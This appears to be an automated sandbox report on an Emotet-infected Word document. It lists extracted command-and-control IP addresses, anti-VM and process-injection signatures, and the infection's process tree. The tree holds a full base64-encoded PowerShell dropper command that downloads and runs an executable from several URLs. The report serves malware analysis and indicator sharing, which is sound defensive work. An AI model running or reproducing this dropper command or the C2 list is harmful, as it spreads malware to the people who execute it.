Task
task1
Sample
Docs_129a4380ebaff7cfc82bfe05e7d282ff.2.doc
Resource
win7
0 signatures
Task
task2
Sample
Docs_129a4380ebaff7cfc82bfe05e7d282ff.2.doc
Resource
win10
0 signatures
General
-
Target
Docs_129a4380ebaff7cfc82bfe05e7d282ff.2
-
Sample
191016-ey7vz8adpe
-
SHA256
012987f43b78cbbd7648fd8fbd4660423486e120f0a42cb155b0169a1f928e45
Score
N/A
Malware Config
Extracted
Family
emotet
C2
181.59.253.20:21
14.160.93.230:80
74.208.68.48:8080
104.131.58.132:8080
68.183.190.199:8080
62.75.143.100:7080
159.203.204.126:8080
151.80.142.33:80
123.168.4.66:22
46.28.111.142:7080
46.101.212.195:8080
183.82.97.25:80
190.10.194.42:8080
217.199.160.224:8080
186.1.41.111:443
185.86.148.222:8080
185.187.198.10:8080
200.57.102.71:8443
114.79.134.129:443
80.85.87.122:8080
87.106.77.40:7080
186.0.95.172:80
190.230.60.129:80
125.99.61.162:7080
142.93.82.57:8080
77.55.211.77:8080
178.79.163.131:8080
82.196.15.205:8080
139.5.237.27:443
178.249.187.151:8080
46.41.151.103:8080
71.244.60.230:7080
190.221.50.210:8080
212.71.237.140:8080
200.51.94.251:143
50.28.51.143:8080
77.245.101.134:8080
88.250.223.190:8080
190.230.60.129:80
181.36.42.205:443
86.42.166.147:80
190.97.30.167:990
189.166.68.89:443
110.36.234.146:80
170.84.133.72:7080
190.1.37.125:443
76.69.29.42:80
62.75.160.178:8080
91.205.215.57:7080
119.92.51.40:8080
190.38.14.52:80
109.104.79.48:8080
5.196.35.138:7080
119.59.124.163:8080
181.188.149.134:80
79.129.0.173:8080
46.29.183.211:8080
91.83.93.124:7080
189.160.49.234:8443
119.159.150.176:443
149.62.173.247:8080
71.244.60.231:7080
68.183.170.114:8080
81.169.140.14:443
138.68.106.4:7080
46.163.144.228:80
184.69.214.94:20
190.104.253.234:990
79.143.182.254:8080
51.15.8.192:8080
109.169.86.13:8080
181.29.101.13:8080
187.188.166.192:80
201.199.93.30:443
201.163.74.202:443
94.183.71.206:7080
5.1.86.195:8080
203.25.159.3:8080
181.44.166.242:80
200.58.171.51:80
181.143.101.18:8080
190.85.152.186:8080
170.84.133.72:8443
190.230.60.129:8080
89.188.124.145:443
rsa_pubkey.plain
Signatures
-
Suspicious behavior: AddClipboardFormatListener
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Suspicious use of SetWindowsHookEx
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at description ioc Process 11828 File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm WINWORD.EXE 12078 File created C:\Users\Admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm WINWORD.EXE 16422 File opened for modification C:\Users\Admin\AppData\Local\Temp\Docs_129a4380ebaff7cfc82bfe05e7d282ff.2.doc WINWORD.EXE 17625 File created C:\Users\Admin\AppData\Local\Temp\~$cs_129a4380ebaff7cfc82bfe05e7d282ff.2.doc WINWORD.EXE -
Checks system information in the registry (likely anti-VM) 2 TTPs 2 IoCs
at description ioc Process 16250 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer WINWORD.EXE 16250 Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName WINWORD.EXE -
Enumerates system info in registry 2 TTPs 5 IoCs
at description ioc Process 16250 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 16250 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE 16250 Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE 16250 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE 16250 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
at description ioc Process 16250 Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE 16250 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious use of WriteProcessMemory 7 IoCs
at description Process procid_target 18328 PID 4056 wrote to memory of 3984 SppExtComObj.exe 42 64328 PID 3388 wrote to memory of 2232 powershell.exe 46 64875 PID 2232 wrote to memory of 3580 506.exe 47 75172 PID 3828 wrote to memory of 1880 tabletmspterm.exe 49 128422 PID 1880 wrote to memory of 2988 tabletmspterm.exe 53 128563 PID 2988 wrote to memory of 2684 hCavm9KV4bu1YyS.exe 54 134719 PID 1368 wrote to memory of 1864 tabletmspterm.exe 56 -
Suspicious use of FindShellTrayWindow
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Suspicious use of AdjustPrivilegeToken 1 IoCs
at description Process 53453 Token: SeDebugPrivilege powershell.exe -
Suspicious behavior: EnumeratesProcesses
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Executes dropped EXE
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description ioc Process Event created Global\E145925EC 506.exe -
Suspicious behavior: EmotetMutantsSpam
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Drops file in system dir 8 IoCs
at description ioc Process 70891 File renamed C:\Users\Admin\506.exe => C:\Windows\SysWOW64\tabletmspterm.exe 506.exe 97235 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat tabletmspterm.exe 102157 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 tabletmspterm.exe 102157 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE tabletmspterm.exe 102172 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies tabletmspterm.exe 102188 File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 tabletmspterm.exe 128407 File created C:\Windows\SysWOW64\hCavm9KV4bu1YyS.exe tabletmspterm.exe 134469 File renamed C:\Windows\SysWOW64\hCavm9KV4bu1YyS.exe => C:\Windows\SysWOW64\tabletmspterm.exe hCavm9KV4bu1YyS.exe -
Loads dropped DLL
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Drops desktop.ini 1 IoCs
at description ioc Process 134469 File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini hCavm9KV4bu1YyS.exe -
emotet family
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_129a4380ebaff7cfc82bfe05e7d282ff.2.doc" /o ""1⤵
- Drops Office document
- Checks system information in the registry (likely anti-VM)
- Enumerates system info in registry
- Checks processor information in registry (likely anti-VM)
PID:3584
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:4056
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C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent1⤵PID:3984
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABPAEQARABCAEEARwBRAEEANABBADEAQQBBAD0AJwBBAHcAQQBCAEMAeABBAEcARwBBACcAOwAkAEIAQQBBAFgAVQBfAHgAdwAxACAAPQAgACcANQAwADYAJwA7ACQAVwBBADQAQQBBAEEAQwBCAEQAXwBCAFEAPQAnAFUAawBBAEQAMQB3AGMAXwAnADsAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQgBBAEEAWABVAF8AeAB3ADEAKwAnAC4AZQB4AGUAJwA7ACQAVABDAEEAWgBBAEcAVQBBAD0AJwBKAEMAXwBBAEEAVQB4AEIAQQBRAEIAUQAnADsAJABSAHgAVQBBAEEANABVAHcAUQBBAEEAQQB3AD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAEUAdAAuAFcARQBiAEMAbABJAEUATgBUADsAJABDAEEAWgAxAFUANABBAEIARwBfAEEAQQBBAD0AJwBoAHQAdABwAHMAOgAvAC8AeQBvAHUAcgBnAHAAcwBoAGUAbABwAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBoADYAMgAyADgANAAwADAALwAqAGgAdAB0AHAAcwA6AC8ALwBrAHkAbwBrAHUAcwBoAGkAbgBtAGkAZABkAGwAZQBlAGEAcwB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZAA0AGgAbwBiAHMAOAA4ADkALwAqAGgAdAB0AHAAcwA6AC8ALwB0AGEAbQBhAGsAbwBzAGgAaQBzAGEAbgBjAGgAYQByAC4AYwBvAG0ALwBoAHQAaAB6ADkAMQAvAGsANgBpAGwAeQBjAHgAMwA1ADMALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBiAGUAcgBnAGEAbQBhAGUAZwBlAHMAbwBuAGQAYQBqAC4AYwBvAG0ALwAxAHQAMgAwADEAMQAxAHkANgAzAC8AaQBjADUANQAwADEALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG8AcgBnAGEAbgBpAHoAZQByAHMAbwBuAGQAZQBtAGEAbgBkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ANgB2AHQAZAA3ADMAMAA0AC8AJwAuACIAcwBwAEwAYABpAFQAIgAoACcAKgAnACkAOwAkAEcAUQBDAEQAWAB3AFEAVQBCAFEAQQBCAGsAPQAnAFMAQQBBAEIAQQBHAG8ARwBaAEEAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFkAeAB4ADEAXwBCAEEAdwBBAEEAQQAgAGkAbgAgACQAQwBBAFoAMQBVADQAQQBCAEcAXwBBAEEAQQApAHsAdAByAHkAewAkAFIAeABVAEEAQQA0AFUAdwBRAEEAQQBBAHcALgAiAEQAYABvAFcATgBsAGAATwBhAGQARgBpAGAATABFACIAKAAkAFkAeAB4ADEAXwBCAEEAdwBBAEEAQQAsACAAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQApADsAJABLAEIAQQBaAEMAUQBjAEEAbwA9ACcATgBjAGMAYwBEAEEAQwBBACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQAVQBEAFUAYwBfAEEAQQAxAEEAXwBBADEAKQAuACIAbABgAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIANQAzADYANgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAdAAiACgAJABVAEQAVQBjAF8AQQBBADEAQQBfAEEAMQApADsAJABZAFUAQQB3AFUAMQBEAG8APQAnAEgAeABVAEIAQQBBAEQAQQBBACcAOwBiAHIAZQBhAGsAOwAkAFoAeAAxAEIAQQBVAFEAQQBCAGsAQQA9ACcAWABBAEEAVQBBAFUAbwBjADEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWgA0AFUAMQBvAEIAVQBrAFUAPQAnAFIAXwBBAGMANAA0AEEAbwBEAEcARABrAEcAJwA=1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
PID:3388
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C:\Users\Admin\506.exe"C:\Users\Admin\506.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2232
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C:\Users\Admin\506.exe--dec732191⤵
- Emotet Sync
- Drops file in system dir
PID:3580
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C:\Windows\SysWOW64\tabletmspterm.exe"C:\Windows\SysWOW64\tabletmspterm.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3828
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C:\Windows\SysWOW64\tabletmspterm.exe--356fff061⤵
- Suspicious use of WriteProcessMemory
- Drops file in system dir
PID:1880
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C:\Windows\SysWOW64\hCavm9KV4bu1YyS.exe"C:\Windows\SysWOW64\hCavm9KV4bu1YyS.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2988
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C:\Windows\SysWOW64\hCavm9KV4bu1YyS.exe--bc6c86b81⤵
- Drops file in system dir
- Drops desktop.ini
PID:2684
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C:\Windows\SysWOW64\tabletmspterm.exe"C:\Windows\SysWOW64\tabletmspterm.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1368
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C:\Windows\SysWOW64\tabletmspterm.exe--356fff061⤵PID:1864